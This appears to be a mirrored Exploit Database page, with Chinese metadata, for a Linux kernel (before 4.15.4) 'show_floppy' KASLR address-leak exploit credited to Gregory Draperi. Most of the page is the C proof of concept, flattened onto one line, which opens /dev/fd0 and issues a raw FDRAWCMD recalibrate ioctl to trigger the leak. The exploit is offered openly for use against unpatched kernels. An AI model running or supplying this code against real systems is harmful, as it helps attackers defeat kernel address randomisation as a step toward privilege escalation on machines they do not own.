Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak

• Exploit Database
• 144 阅读

• 作者： Gregory Draperi
  日期： 2018-03-22
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/44325/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

  #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <linux/kernel.h> #include <string.h> #include <sys/mman.h> #include <linux/fd.h>   static int drive_selector(int head) { return (head << 2); }   void fd_recalibrate(int fd) { struct floppy_raw_cmd raw_cmd; int tmp;   raw_cmd.flags = FD_RAW_INTR; raw_cmd.cmd_count = 2;   // set up the command raw_cmd.cmd[raw_cmd.cmd_count++] = 0x07; raw_cmd.cmd[raw_cmd.cmd_count++] = drive_selector(0); tmp = ioctl( fd, FDRAWCMD, &raw_cmd ); printf("Status:%d\n",tmp); } int main(){ printf("Start\n"); char *d; struct floppy_raw_cmd *cmd; int fd; fd = open("/dev/fd0",O_RDWR | O_NDELAY); fd_recalibrate(fd); close(fd); printf("End\n"); return 0; }